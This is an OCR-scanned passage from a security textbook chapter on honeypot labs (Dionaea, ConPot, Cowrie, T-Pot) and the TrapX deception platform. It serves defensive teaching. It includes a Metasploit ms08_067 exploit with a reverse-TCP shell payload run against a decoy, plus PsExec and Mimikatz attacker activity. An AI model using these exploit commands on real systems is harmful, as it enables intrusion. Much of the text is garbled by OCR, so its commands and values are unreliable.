debug macdet proxy send 

ftp» bye 


rootG&kali:-H 
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Now, let's look at the logs. From the honeypot shell, press ctrl-c to stop the honeypot 
and then view the logs as follows: 


# more /opt/dionaea/var/dionaea/dionaea.log 
Binaries may be found at 

# ls /opt/dionaea/var/dionaea/binaries/ 

and streams of session data may be found at 


# ls /opt/dionaea/var/dionaea/bistreams/ 





NOTE Because our honeypot is running in a Docker, the files are not persistent. 
Therefore, if you want to further inspect a file, you need to move it to the shared folder 
we set up. From within the Docker container, use tar to copy files to the /data folder, 
which maps to our working directory on Kali, as follows: 


# tar -cvf /data/dionaea.tar /opt/dionaea/var/dionaea/ 


Lab 21-2: ConPot 
In this lab, we investigate the ConPot honeypot, which emulates an ICS/SCADA 
device.!? 

Again, make a directory, this time to hold the logs (another common use case): 


root@kali:~# mkdir -p var/log/conpot 
Now pull and run the ConPot honeypot: 


root@kali:~# docker run -it -p 80:80 -p 102:102 -p 502:502 -p 
161:161/udp -v $(pwd) /var/log/conpot:/var/log/conpot --network=bridge honeynet/conpot:latest 


Now, from another Linux or Mac shell, run snmpwalk against the host: 


$ snmpwalk -c public 192.168.80.231 

SNMPv2-MIB::sysDescr.0 = STRING: Siemens, SIMATIC, 57-200 
SNMPv2-MIB::sysObjectID.O0 = OID: SNMPv2-SMI::enterprises.20408 
DISMAN-EVENT-MIB::sysUpTimeInstance - Timeticks: (415) 0:00:04.15 
SNMPv2-MIB::sysContact.0 - STRING: Siemens AG 
SNMPv2-MIB::sysName.0 = STRING: CP 443-1 EX40 
SNMPv2-MIB::sysLocation.0 = STRING: Venus 

SNMPv2-MIB: :sysServices.0 = INTEGER: 72 
SNMPv2-MIB::sysORLastChange.0 = Timeticks: (0) 0:00:00.00 
SNMPv2-MIB::snmpInPkts.0 = Counter32: 9 
SNMPv2-MIB::snmpOutPkts.0 = Counter32: 0 
SNMEPv2-MIB::snmplnBadVersions.0 = Counter32: Q0 
SNMPvZ2-MIB::snmplnBadCommunityNames.0 = Counter32: 0 
SNMPv2-MIB::snmpInBadCommunityUses.0 = Counter32: 0 
SNMPv2-MIB::snmpInASNParseErrs.0 = Counter32: 0 

„truncated for brevity»... 


Open a web page and view the web interface, shown next. Be sure to click Refresh a 
few times to see the changes. 


a G Ó |© 192.168.80.231/index.html 
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Status: 

Current time: 00:34:16 

System uptime: 354 timeticks (deciseconds) 








NOTE The system name and other fingerprint items may be adjusted in the templates 
directory of the source files. It is strongly advised that you change these; otherwise, you 
will not have a very active ConPot. 


Logs may be found in the shared folder: 


root@kali:~# less var/log/conpot/conpot.log 


Lab 21-3: Cowrie 


In this lab, we pull and use the Cowrie honeypot, which, as described by the author, is a 
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medium-interaction honeypot,! / capable of emulating SSH and Telnet and, most 


importantly, capturing each command. It 1s also able to replay the key sequences for an 
entertaining view of hacker activity. 

Clone the honeypot GitHub repository, and then configure, build, and run the 
honeypot: 


root&kali:-4 git clone https://github.com/micheloosterhof /docker-cowrie.git 


root@kali:~# cd docker-cowrie 
root@kali:~/docker-cowrie# mkdir -p var/log/cowrie var/run etc 
root@kali:~/docker-cowrie# cat ««EOF»» etc/cowrie.cfg 
[telnet] 
enabled - yes 
EOF 

Due to the fact that this particular Docker image sets the username as “cowrie” and 
because we don't want to set up a shared folder that's world writable (so that users can 
write to logs), we will use the Docker volume functionality this time. Set up a Docker 
volume, as follows: 


root@kali:~/docker-cowrie# docker volume create cowrie 
Now, confirm creation of the volume and check its location (to be used later): 


root@kali:~/docker-cowrie# docker volume inspect cowrie 
[ 


{ 
"Driver": "Local", 
"Labels"; fi 
"Mountpoint": "/var/lib/docker/volumes/cowrie/ data", 
"Name": "cowrie", 
"Options": |], 
"Scope": "local" 
} 


Build the Docker image and run it: 


root@kali:~/docker-cowrie# ./build.sh 

rootGkali:-/docker-cowriest docker run -it -p 2222:2222 -p 

2223:2223 -v etc:/cowrie/cowrle-git/etc -v cowrie: /cowrie/cowrie-git/log cowrie 
b4ádelá4á84e3c86c2c9b06499207657854d37025305b1c8380cf10585911747c94f 


As you can see here, the ./run.sh script runs the honeypot on ports 2222 (SSH) and 
2223 (Telnet). You may choose to run these on their normal ports, 22 and 23, but you 
will need to move any real services running there. For example, to change SSH to 
another port, edit /etc/ssh/sshd config, change the port setting, and issue the following 


command to restart the service: 
# service ssh restart 


From another Linux or Mac shell, interact with the honeypot. You may log in using 
root and any password besides root or 123456: 


S ssh -p 2222 root@192.168.80.231 

The authenticity of host '[192.168.80.231]:2222 
([192.168.80.231]:2222)' can't be established. 

RSA key fingerprint is 
SHA256:/rjInNCaGf5SFRbyMxppFO0gVniQGX7nN6rTp6xlhNm4. 

Are you sure you want to continue connecting (yes/no)? yes 
Warning: Permanently added '[192.168.80.231]:2222' (RSA) to the 
list of known hosts. 

Password: 


The programs included with the Debian GNU/Linux system are free 
software; 

the exact distribution terms for each program are described in 
the 

individual files in /usr/share/doc/*/copyright. 


Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent 
permitted by applicable law. 


root@svr04:~# ls 

root@svr04:~# pwd 

/root 

rootesvr04:-H4 id 

uid=0 (root) gid=0(root) groups=0 (root) 
root@svr04:-~-# wget www.google.com 

--2017-08-19 00:53:19-- http://www.google.com 
Connecting to www.google.com:80... connected. 
HTTP request sent, awaiting response... 200 OK 
Length: unspecified [text/html; charset-ISO-8859-1] 
Saving to:  /root/index.html' 


l00$€[2222222-2--2-----------------------------5] 0 9K/s 


2017-08-19 00:53:20 (9 KB/s) - "/root/index.html' saved [10457/0] 


rootesvr04:-48 cat index.html 

cat: /root/index.html: No such file or directory 
root@svr04:~# ls -1 

-Yw-r--r-- 1 root root O0 2017-08-19 00:53 index.html 
root@svr04: ~# 
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Notice that the system only appears to download a file (1t 1s not really there, the file size 
is Zero). Press ctrl-c on the Docker instance to stop the container. 

Now, one of the neat things about Cowrie 1s the ability to replay attacks 1n the same 
time sequence as the hacker. Using the preceding volume location, pull down the 
Cowrie playlog script and run 1t against the tty logs: 


root@kali:~/docker-cowrie# wget 
https://github.com/micheloosterhof/cowrie/raw/master/bin/playlog 
--2017-08-18 23:10:24-- 

wetruncated for brevity». 
(raw.githubusercontent.com)|151.101.56.133|:443... connected. 
HTTP request sent, awaiting response... 200 OK 

Length: 3853 (3.8K) [text/plain] 

Saving to: 'playlog' 


playlog 


2017-08-18 23:10:24 (37.8 MB/s) - 'playlog' saved [3853/3853] 


root@kali:~/docker-cowrie# chmod 755 playlog 
root@kali:~/docker-cowrie# ./playlog 
/var/lib/docker/volumes/cowrie/ data/tty/* 


The programs included with the Debian GNU/Linux system are free software; 
the exact distribution terms for each program are described in the 
individual files in /usr/share/doc/*/copyright. 


Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent 
permitted by applicable law. 


roote@svr04:-# ls 

root@svr04:~# id 

uid=0 (root) gid=0(root) groups-0 (root) 
root@svr04:~# pwd 

/root 

root@svr04:~# exit 
root@kali:~/docker-cowrie# 


Now that’s cool: we see exactly what has been typed or run by an automated bot in 
real time. The playlog script also has options to slow down or speed up the playback. 


Lab 21-4: I-Pot 


In this lab, we pull it all together and download and install the T-Pot honeypot, which is 
an automated install of several other honeypots, including the ones we’ ve used in 


previous labs. Further, T-Pot includes a user interface that's built on an Elasticsearch, 
Logstash, and Kibana (ELK) stack.!? The version of T-Pot tested in this lab may be 
downloaded from the book's website. The latest version may be downloaded from the 
T-Pot GitHub (see the “For Further Reading" section). 

The minimum system requirements of the T-Pot honeypot are 4GB of RAM and 64GB 
of hard drive space for the standard honeypot (1t may run with less, but these are the 
posted minimums). The easiest option to run the T-Pot honeypot 1s to download the ISO 
image or build your own and then mount it to a virtual CD in VMware or VirtualBox and 
launch the machine. The ISO 1s a 64-bit Ubuntu build, as shown next. Again, be sure to 
establish the minimum settings just given. For limited testing, you can get by with a 
smaller (5GB) hard drive. 


ubuntu? 


Installer boot menu 


Advanced options 
Help 





Press ENTER to select the default installer (T-Pot 17.10). You will be prompted to 
select your language and keyboard. The installation will then begin and will take 20—30 
minutes, depending on your system resources. Along the way, you will also be asked 
some configuration questions, such as type of honeypot (we selected Standard for this 
lab), password for the tsec user account, and a second username and password for the 
web interface (do not lose that). When finished, you will be prompted to log in. Use the 
tsec account and first password you supplied. On the login screen, you will see the IP of 
the honeypot and web URL, as shown next. Use the second user account you established 
and password for the web interface. 
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] C 00:43:48 ] 


158, 88, 239: 64297? 





lonelyfleck login: 


From another Linux or Mac system, scan the IP with Nmap. Next, open the web 
interface, using the preceding IP (https://IP:64297), and select the T-Pot dashboard. You 
will need to place your honeypot on a public Internet connection and/or scan it to see 
some activity in the dashboards. However, the following screenshot shows the potential 
of this tool. 





NOTE The following two images were used with permission of the developer of the 
latest version of T-Pot and may have changed in format or functionality by the time of 
this book's publication. 
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The web interface has several tools, including an Elasticsearch head (starting point 
for searches), shown here. 
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c Œ (y | A Not Secure | https://192.1868.0.139:64297/tpotweb.html 







Elasticsearch "92101952977 
Overview Indices Browser Structured Query [+] Any Request [+] 


Al ingles » Searched 2 of 2 shards. 10 hits. 6.001 seconds 
logstash-2017.08.20 Dionaea AV4BA7SW-YdighzzZS2nd 1 


: 1 

an h e logstash-2017.08.20 Dionaea — AV4BA7SW-YdigRzZ52ng 1 agreeablespray 192.168.0.139 
pem logstash-2017.08.20 Dionaea  AVABA7XU-YdigRzZS2e! 1 egreeablespray ——— 192.168.0.139 
Gowrie logstash-2017.08.20 Dionaea — AVABA&bg-YdigRIZS2)v 1 agneeablespray —— 192.168.0.139 
Dione logstash-2017.08.20 Dionaea — AVABA&ba-YdigRI252)) 1 agneeablespray — 192.168.0.139 
Acid logstash-2017.08.20 Dionaea — AV4BA6bq-YdigRI252)6 1 agreeablespray — 192.168.0.139 
ol logstash-2017.08.20 Dionaea — AV4BA6bq-YdigR1252)7 1 egreeablespray —— 192.168.0.139 
Suricata logstash-2017.08.20 Dionaea — AVABA6bg-YdigR2752)8 1 agreecabespray 192.168.0.139 
Syslog legstash-2017.08.20 Dionaea AV4BAGbq-Ydighz7S2)9 1 agreeablespray — 192.168.0.139 
 defauk Kw95tash-2017.08.20 Déonaea — AVABAb6bg-YdigRIZS2)- 1 agreeablespray 192.168.0.139 


Dionaea 
Diónaea 


Dionaea 
Dionaea 
Diónaea 
Dionaea 





Another tool 1s the SpiderFoot search page, which allows you to find out information 


about attackers. 





SpiderFoot v Hew Scan | li Scans ¥ Settings 


New Scan 
Scan Name 
Googie 
Seed Target 
google.com 


By Use Case — ByHRequired Data By Module 


o ^ Get anything and everything about the target. 


All SpiderFoot modules will be enabled (slow) but every possible piece of information about the target will be obtained and analysed. 


Also, the web interface includes a Docker container UI, called Portainer, that allows 


you to control the Docker containers (for example, Dionaea, shown here). 


oc Actions 


CS mome [Enea | o reno | o reese | opiera 





Es Container status 


iD 2189B879d56dGlBeSacbaBSd3baectSebt2550beaaa7 1S f7alecblüd0O3S93e0as0945 
Name dionaea Lf 
Status Running since 24 minutes 
Created IQT7-OB-2O M4SQT 
Start time 2017-08-20 14,5019 
iu Stats Ü Logs |. Console 


You may also interact by shell with each container, as shown next. 


https://192.168.0.139:6428 7/tpotweb.htm 





Container console 


Containers > dionaesa > Console 


». Console 


Exec into container as default user using command bash Disconnect 


roott289879d36dél:/F pwd 
/ 


rooteZ89879d36d61:/# id 


ideü(root) gids0(root) groups=0(root) 
194 FLLEFETKITS. BETA D 





Also, a Netdata page shows vital server information, which seemingly scrolls down 
endlessly. 
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System Overview 





Finally, 1f needed, you have full access to the web console via Wetty, shown next. For 
nonlocal access, you will need to upload your SSH keys. 


€ © 4) A Not Secure | https;//192.168.0.139:64297|tpotweb.htm 


Home Kibana 
The authenticity of host '[127.0.0.1]:64295 ([127.0.0.1]:64295)° can't be established. 
ECDSA Key TIngérprint 15 SHAZS56; UnoPSIMyYpB4F+uJ1shnmJgorTlAzQoTskKRlLyYyseJnn4Zg. 
Are you sure you want to continue connecting (yes/no)? yes 
Warning: Permanently added °[127.0.0.1):64295' (ECDSA) to the List of Known hosts. 
tsec@l2/.0.0.1°5 password: 


Welcome to Ubuntu 16. 04.3 LTS (GNU/Linux 4.4.0-97-generic x86_ 


* Documentation: https://help.ubuntu.com 
t Management: https: // landscape. canonical. com 
* Support: nttps: //UBUNnTU. Com/advantage 


The programs included with the Ubuntu system are free software; 


a 


the exact distribution terms for each program are described in the 


individual files in /usr/share/doc/*/copyrignt. 


Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by 
applicable law. 


run a command as administrator (user “root’!}, use ET D Na ru: oe m 
sudo_root" for details. 





All data is stored in the /data folder, which is accessible from the host. 


CQ (y | A Not Secure | hites://192.168.0.139:64297/wetty/ssh/tsec 


tseceal27.0.0.1°S password: 
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.4.0-92-generic x86 64) 


* Documentation: https: //help.ubuntu. com 
B * Management: https: // landscape. canonical. com 
k Support: https: //ubuntu. com/advantage 
Last login: Sun Aug 20 19:28:37 2017 from 127.080.0.1 


| sudo bash 
[sudo] password for tsec: 
| Ls /data/dionaeéa/bistreams/2017-08-20/ 
ftod-21-::ffff:192.168.0.117-XacM7c mysqld-3306-::ffff:1927.168.0.117-BEdjqi 
| 








NOTE To run this honeypot on a cloud-based Ubuntu 16.04 system, simply run the 
following commands. You will also need to open TCP ports 0—64000 to the public and 
64001 and above to your IP (see the T-Pot website link at end of this chapter 1f you want 
to be more selective in what ports you expose). 


git clone https://github.com/dtag-dev-sec/t-pot-autoinstall.git 
cd t-pot-autoinstall/ 

sudo su 

./install.sh 


Commercial Alternative: TrapX 


When it comes to commercial solutions, you have several to choose from, including 
these: 


e TrapX 

* Attivo 

e [llusive Networks 
* Cymmetria 


Each one has its merits and deserves a trial. However, in this chapter, we highlight only 
one: TrapX DeceptionGrid. TrapX was highlighted in the last edition of this book and 
was impressive then. Yet it has improved greatly since that time. 

When logging into TrapX, you will be presented with a dashboard displaying various 
forms of data, including inbound and outbound threats, top- 10 events, threat statistics, 
and the health status of workstation, server, and network decoy traps. 
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Dashboard 








Outbound Threats (©) Internal Threats Show: Lastweck ^ All Companies ^ 
All companies - Events Timeline Company Events (474) 
fof Events Bl Outbound Threats E internal Theeats Co Rick Lowel Type E CH Event 
ABC Meters m Cut beue, beter nual 115 
179 | Gathers Finacial i Cat bond, leer. lo 
Viagra Enter pions oe Cot scored, 1nit erro 143 
m Tyrell Corp Ë Cut Esel, brite rial 107 
E 
l | | 
FERE. T: ZB. Jung P, Sus] 10. A IE. Ag I. Sep P. um 
ü | PhO 017 . 2.08 2067 1,09, 201 7 ü 
Workstation Traps LJ Top 10 Events Threat Statistics 
Y] 1 
m 7 © Source IP Afteck: Derisa IP AbLack. 
1600155 112 100017 w 
ES 2 © hT i ra | EE E aF = 
1000047 29 150014 ET l 
Ae Trap events Network Intelligence Events 
Server Traps EH LOOP 26 WOO EF 
Baar S 1508516 47 E] Infect 36 BatNet & CC 
nechani » a 
m 5 © 160045 Mà #56255 1a ™ 
bons ai Boe bi Interaction Malware & Trojan 
A 1 © 165017 19 102030103 i? 
rater hts LE imi i NE Reconnaissance Intelligence Gathering 
Networking Traps Ah 155515 if 152000104 d | 
Connection 
= 2 @ 
Industrial Traps TET 
EJ 3 @ Geolocation Threats | Traps 
xcd ; 
Medical Devices Traps v/ 


ag 
a 1 @ E UN 


When displaying events using the Event Analysis screen, shown next, you may filter 
events (for example, you might filter on infections). 





B Event Analyzer Attack Visualization Forensics Event Correlation Monitor Event Workflow 
Type Event ID Event type Attacker hostname Attacker IP Trap name Protocol Por Start time 
Trap M Infection v Ali v All v x 
Your search criteria returned the following results: E 
ID Svr Type Attacker hostname Attacker IP — Trap name Protocol Port Proxy Start ¥ Duration 
26218204 & Infection 1000.162 1000.62 (Gothamfinacali MT — SMB 445 23062017 144957 x00 min 
26218190 HE Infection — 1000162 1000462 (Gothamfinaciali MT — SMB 445 4062017095949 0259 min 
26218174 & Infection — 1000162 1000162 Gothamfinacali MI — SMB 445 78062017095944 = 0259 min 
76218163 ® Infection — 1000162 1000162 Gothanfnacali MI SMB 445 2706201709 5940 = 0300 min 
26218150 NN Infection — 1000162 10040162 Gothwnfenacali MT SMB 445 26062017 100025 — 0x00 min 
76218135 NE Infection — 1000162 10040162 Gothamfaacali MT — SM 445 25.06.2017 09-5943 — — 0:00 min 
26218122 S Infection 1000.162 10040162 Gothamfaacali MT SMB 445 2406201709-5947 — 0x00 min 
76718110 E Infection — 100.0162 10040162 Gothamfinaciall|MT SME 445 271062017095941 0200 min 
26218085 ICH Infection — 10.0.0162 10040162  Gothamfinaciali MT SMB 445 22062017095942 0200 min 
76218083 & Infection 1000.162 10040162 Gothamfinaciali MT SMB 445 21062017095941 0259 min 
26218070 NH Infection — 100.0162 10040162 Gothamfinaciali MT SMB 445 20062017095941 0259 min 
26218059 Pcr Infection — 100.0162 1004162 Gothamfinaciali MT SMB 445 19062017 095940 — 0x00 min 
26218040 & Infection 1000173 1000.173  Gothamfinacial3 MT — SMB 445 17052017095936 0259 min 
26718036 e Infection — 100.166 10.000.166 AbcMotorosS MT SMB 445 1705201702:5536 0200 min 
26218075 cU Infection — 1000173 18.001173 Gothamfinacial3 MT SMB 445 16.05.201 / (rr 55c36 0300 min 
26218017 e Infection — 1000166 1000165 ^  AbcMotoross MI SMB 445 16.05.2017 025939 40x00 min 
26218006 e Infection — 1000173 10.0.0.173  Gothamfinaciali MT SMB 445 15.05.2017 09:5938 0259 min 
26218001 & Infection — 10.0.0.166 1004166 AbcMotoross MI SMB 445 15052017 025938 X00 min 


In order to inspect an event, simply double-click it to see all recorded actions ina kill 
chain view, as shown here. 
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1i Highlight 
Attack Highlights el 
Hos name 10.0.0162 BI SMB 445 Login 4 
P Address 10.0.0.167 Dahan e MT 
1210 Dobis n1 Filis 4 
| i CVTS (MBL) l rreutatiar box Siedler S Eaton 
Stt. Turestamp 29/06/2017 14:49:57 o5 Micreust Windows 7 Process 4 
Erud Tet Larry SSL! 145257 
Senice 1 
Connection a 
Fibres 
PSEXESVC.oxe R7cdHac 3915 770515210724455 0881228 


file exe cb Te2afS[895417eTE206cd 10504 T3001 


Attack Details 
ED al ELM 17/17 Events 
EE HAT Logon cyberyuuser (SMBT) 
144957 Connect: ATO 0 0 TRXVATRMINS. 
14057 Connect S10 00 169PC$ 
144957 Connect S100 0 LACS 
148957 Dir CA" 
m 14:49:57 Remove directony. C\folderl 
G 144957 AT Execute: kd 2. zoom exe 
144057 AT List 
(e 144957 Create File: C'.uindowshPSEXE SV icons 
es [ito Create Senor: Semice Name PSEXESWC, Binary Path: S65ys bem Root 99 PS Boe SVIC mee 
Ea 144957 Create File: C'owindowsMile.exe 
PSEXESVC.exe file.exe 


Details Resources and sections 


Notice how the attacker started the PSEXEC service and created a file (file.exe). You 
may view the dynamic analysis of that file 1n a sandbox report that includes behavior, 
network activity, processes, artifacts, registry key activity, and file-system activity. 


Forensics of c67e2af5189b417e71206cd1fe47a03f 


Payload was found at traps: AbcMotorosS_ MT 


Metadata 


Bohavioral Indicators 
Behavioral Indicators 


Possible Zeus Variant Detected by Antivinus Severity: 100 Confidence: 100 
denis is a toolkit that provides an easy way to build and administer a 
Prexesses botnet. The Zeus trojan is a prümandy focused on stealing online banking 
information Zeus provides the individual or group behind the infection 
multiple wears bo sbeal information; these include beylogging. screen 
capture, credential theft, and Man- ii- ihi- Browser ks, This web inject 
process allows Zeus to modify the htm of a website to inject additional 
form foede into the poe in order 1^6 5 bead banking cnedenitusts and other 
sensitive information. Zeus does not have amy ability to spread itself and 
aai often spread through spamming botnets like Cutwad and other trojan, zeus, fraud, banker 
means such as compromised websites hosting explest kits such as 
Blacks, Phoen and others 


Excésisiee Sunspucaous Act Detected Su verity: 90 Confubenoe: 100 


The subenattec sample has been obcemved perfonmanag a number of r BE 

suspicious actions. None of the individual actions by themselves are : compound 
partscularby malicious, but when aM behaviors ane observes] together they 

can be considered malicious. For information about the suspicious ' Suspicious, tweshold 
ac itis, reler to the other indicators triggered by this sample. 


Process Modified an Executable File Seventy: B0 Confilence 100 





Further, as shown next, you may view a static and reputation analysis of that file. 


File size IES 
File type FERI executable (console) Intel BOER, for MS Vilinsiceani 
File MDS BIdiac9H5 FeO 294550531488 
File SHALL DT Ta dM m SE ECL PT ERES EI] 
File sadeep 30g Go Sel Wipe ea Ee, TP eg RT CHERCONDInE: s te eh TIPO PRO HC 1a CD 
File date C AL fSun Mae 30 20550041 2014 UTC] 
Outbound Connection N/A 
File packers ALIA 
TLS callbacks IA 
Servi it, tr D patch Wi 
CreabeProorvuAs Hae 
Suspicious alerts ÜpenProcess Token 
Creste temani 
Version info Legalicogsright: Copyrigh Saca! 2001-2014 Bork Raeinovich InternalBlilame- Pioti Senide Host FlleVersonc 2.11 Campanha Syxin&ernals ProductBlaene- Syiinternals P. 
AW References BA / HIA 
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Where things really get interesting is when TrapX is used to emulate SMB commands 
and allow an attacker to exploit a decoy system, all while TrapX monitors and controls 
the impact of those commands. 


nat > use SET Wa DRONE edic die tee 
msf exploit (m: api) > set RHOST 192.168.100.133 
RHOST = 192. 168. 108. 133 
E ploit( 508 6 i) > set payload windows/shell/reverse tcp 
payload => windows/shell/reverse tcp 
pmf exploit(ms08 etapi) > set LHOST 192.168.166.17 
LHOST => 192.168. 180. ad 
msi exploit(ms88 667 ipi) > set target 4 
target => 4 
msi explolt(mso8 O6/.netap1) > exploit 


[*] Started reverse TCP handler on 192.168.188.12:4444 

[*] 192.168.1660.133:445 - Attempting to trigger the vulnerability... 

Ted Encoded stage with x86/shikata ga nai 

[*] Sending encoded stage (26/ bytes) to 192.163.168.133 

Ed Command shell session 1 opened (192.168.108.12:4444 -> 192.168.168,133:5468/) at 2617-68-28 23:41:37 -0506 


C:X»dir 
Volume in drive C has no label. 
| Volume Serial Number is BC23-2A69 


Directory of C:\ 


(89/24/2015 16:21 AM AUTOEXEC . BAT 
69/24/2015 16:18 AM | boot.ini 
69/24/7015 16:21 AM CONFIG.SYS 
88/18/2017 61:43 PM data 
69/24/2015 69:31 AM zu Documents and Settings 
69/24/2015 :21 AM I0.5Y5 
69/24/2015 16:21 AM | MSDOS. SYS 
63/25/2005 66:00 AM 47,772 MIDETECT.COM 
63/25/2685 -88 AM 295,536 ntldr 
80/24/2015 EN, 1,616,612,736 pagefile.sys 
69/24/2015 69:31 AM <DIR> Program Files 
09/24/2015 HN. <DIR> System Volume Information 
68/18/2017 c43 PM <DIR> testfordemo 
89/24/2015 69:34 AM <DIR> WINDOWS 
09/24/2015 :22 AM «DIR» wmpub 
| ë File(s) 1,6160,956,254 bytes 

7 Dir(s) 18,505,936,896 bytes free 


iC: voll 


Option 2.pp 





Beyond the classical decoys of Linux and Windows systems, TrapX is able to emulate 
a wide array of devices, such as Juniper and Cisco devices; various medical, Internet of 
Things (IOT), and SCADA devices; and financial services like Swift and ATM. For this 
lab, we enable a Cisco switch, as shown here, but notice the other services available. 


txaül MT on ethO (10.101.1.61) 


Workstations Version 
Windows Station Version Cisco Catalyst 2960 or 3600 switch IOS 12.3 
hac : 
Host Name Configuration 
Servers 
Host name saiteh3712 
Wandows Server 
Emulation Profiles 
Linum Server 
loT Devices & SSH SSH Banner, User Credentials 
gei fim = ActiveCDP 
Networking 
= SNMP 
Vol? Device 
= TFTP 
Juniper Device 
®) Cisco Device s Telnet 
Medical = WebM i 
PALS Wa? 
PRLS Serer 
HE! 
CT 
Industrial 
SCADA Device 
Financial 
Tarh Web Platin 
Sait Lite? 
Sah Allunce Gateway 
Darit Alliances Access 


ATM 


When running the Cisco decoy, the attacker may interact with the Cisco command-line 
interface (CLI) over SSH/Telnet. Further, the decoy sends Cisco Discovery Protocol 
(CDP) packets that may attract an attacker and divert them into interacting with the 
realistic but fake web GUI, shown next. Again, all actions taken on this fake GUI are 
logged and the Security Operations Center (SOC) analyst 1s alerted. 
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: " ry m r TIIHIT 
Queen pore (enews af semen prete Clie em cisco. 


ipe DE mpeg, Di Pere, 47 rires 


Wiel Pirus 
BACK) Mater d 











LET NEN ETT 
m Darhheand 
Heil. Piek Serereb? gy 
: des nee mcn L Seueri: Barer laedi rash Pichon’ (rege a tr 
B oMatwznk Arvebant RS WU En. EE. 8.68 
MUT. idii: One ubl: de 03 9b 
Version ds nt | 
ential a P Piw PERANTA 
Tahere 13$ (2 oe 
Tortai Min m ius jns 


Location: 


etn bei | View ert Scars 





al w ww T . T T ¥ . ¥ 7 . . = T ww T a T F T T jj * vom = T ww T w T - * v F T T T * * * ji LI T Ww T = T T T . ¥ 
È ää d @ if ft dd ib it da H ia K cà eH — dà o d MH 4] — 44 44 — 4b 2 — 3 
Porti 


Also, TrapX can interface with Cisco Identity Services Engine (ISE) and ForeScout to 
use Network Access Control (NAC) and divert suspicious connections to an 1solated 
deception network for further analysis. See the “For Further Reading" section at the end 
of this chapter for a link to a video of TrapX diverting Wannacry to an 1solated network. 

TrapX allows for deception (honey) tokens. For example, a fake network drive may 
be established on a host (in this case, fileserver004), as shown next. Notice how the 
fake network drive (R:\) 1s not visible to the user via the desktop; instead, only the 
attacker can see 1t when using command-line tools, which 1s how attackers normally 
operate. Also, notice how fake files are presented on the fake network drive. 
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All of the attacker's actions are tracked back at the SOC (the fake share mapped to 


C data). 


"b 
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Host name: 192.168.100.135 E S MB 445 Connection 2 
IP Address 192.168 100.135 "- | s 

Port 45208 : s - 

Login: ACME\steve (SMB1) cirri er age iio : 
Start Timestamp — 01/09/2017 16:09:09 OS: Microsoft Windows Server 2012 R2 Files 9 


End Tamerztamgc 01/09/7017 18:12-09 














16:000 Connection established: from port 49209 
16:05:09 Logor: ACME\steve (5481) 

160909 Connect: SFILESERVERDOADATA 

1605-10 Dir. Cidata 

1&0*13 Dur: CAdata\personal 

160515 Dir: Cudata Personal 

16:05-18 Dir: C'data Personal 

160518 Dir: CAdataPersonalprivate 

16:09:19 Dir: CydataPersonalyPrivate 

150625 Dir. CAdata\PersonalPrivatelpasswords_1 oit 
16:09:26 Du: Cata Personal Private Pasiwords_1 tt 


TrapX has web-based deception tokens as well, providing three levels of deception: 


* Browser history Fake URLs that look interesting to an attacker 
* Browser credentials Fake URL with a fake saved username and password 


* Browser bookmark Fake browser bookmark links to a decoy web application 


All this information is configurable; for example, the browser credentials are shown 
here. 


epee Loren eg plac acf 


[a 





This browser data may lure an attacker to a decoy web application, as shown next. 
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Back in the SOC, the analyst gets an alert, as shown next, because no one is supposed 


to connect to this site. 





É usce Bb Attack vector: HTTP 80 Connection 6 
Hert ranae 132.168 100.135 Web : 
IP Address: 192.168.100.135 Full. OS Trap m - 
Port: 43238 Name FOSDecoy01, EOS 
Login ALA iP piini 192 168.100.205 HTTP & 
Start: Today 05:20:00 Q5: Migan Wiredcned Spryer z012 RU 
Duration: 01:01 min Errian Trap 
Name SEOmag MT 
IP address: 192 158100128 
05 Microsoft Windows Server 2012 RI 
Attack Details 
eer V aona Y Conn 0 EXZN ELEM sten 
@ — 23082017 0320000 File Create File Path: C\inetpub\ogs\LogFiles\W3SVC1\u_ex1 70829 log 
29.08 2017 02:20:00 Connection Establish Connection 192 168.100 205:80 (Web) 
bm 259,08 2017 03-20:00 HTTP GET URL: httpc//FlesernverD04:80/ 
(5 —29082017 0x20:00 HTTP GET URL: httpy/MMeserverX 80 index htm 
(D — 29082017 0920000 HTTP GET URL: http-//fileserver004:80/home, fies/gem3000 css 
E 29.08.2017 03:20:00 HTTP GET URL: httpa/ileserverD04:S0/home files/browserjs 
29.08.2017 020001 Connection Establish Connection 192.168.100.205:80 (Web) 
2908 2017 092001 Connection Establish Connection 192 168.100 205880 (Web) 
m 29.08.2017 03:20:01 HTTP GET URL: http/fileserveerD04:BO0/home fües/version js 
(D — 29082017 092001 HTTP GET URL: http//fileserverDOs:Bü/heme files/clear gii 
22.08 2017 03:21:01 Connectión Close Connection 192 163.100.205-80 (iWeb) 
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One of the most advanced features of TrapX is the ability to safely proxy commands to 
a full operating system, providing the highest levels of emulation possible. TrapX calls 
this Full Operating System (FOS) decoy. For example, an attacker might gain a foothold 
using a phishing e-mail and then find deliberately placed deception token information, 
pointing to a file share running Remote Desktop Protocol (RDP). The attacker might 
even run Mimikatz, as shown next, thinking they are obtaining real credentials. 


ee HN PEH ar eaea Dee ep kk Jemli T€ ias endear i? whee 15s j 
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As shown next, the attacker might then use those stolen credentials to establish an 
RDP session with that full but fake system, whose only purpose 1s to be touched and 
provide alerts to the SOC analyst, which matches our earlier definition of a honeypot. 


Comper 
FKEY CLARIS eT 
HKEY CURRENT USER BE Tras res Bed tat 
ae 


Denel Pana 
Errian 
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PGCE LOCAL MACHINE 
HEFY EEG 
r-e HEEY CURRENT CONFES 


eraat v CURHEHT USEPTmpXDemokey 
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The attacker might not know this is a honeypot because it is a full operating system 
and might think they have full access to the system. However, they are under the 
watchful eye of the SOC team, as shown here. 


197.168.100.135 FOSDecoy01 FOS RDP 


























& Attacker BEP attack vector: RDP 3389 Connection 18 
Host name 192.168.100.135 RDP 
IP Address: 192.168.100.135 Full OS Trap Process 14 
Port 49246 Name FOSDecoyot FOS 
Log ACME will P adres: 12£ 168 100205 Reédgestry a 
Start: Today 00:55:24 6 Paapa Vitro. beme 2012 R3 
Duration 05:35 min Ermiten Trap File 3 
Name SEDemeAep0] MT 
P address 192 168100125 
OS Macrerpoft Winia Senor 2012 RI 
Attack Details 
Category: All “y | Action: All ^|, Contains text ej 44/44 Events 
29.08 2017 035574 Connection Establish Connection 132.168.100205:3383 (RDP) 
GO 29.08.2017 09:55:33 Process Start Process C:\Windows Explorer, EXE 
29.08 2017 0:55:35 Connection Establish Connection 192.165.100.130:389 (LDAP) 
29.08.2017 05:55:35 Connection Close Connection 192.168.100,130-389 (LDAP) 
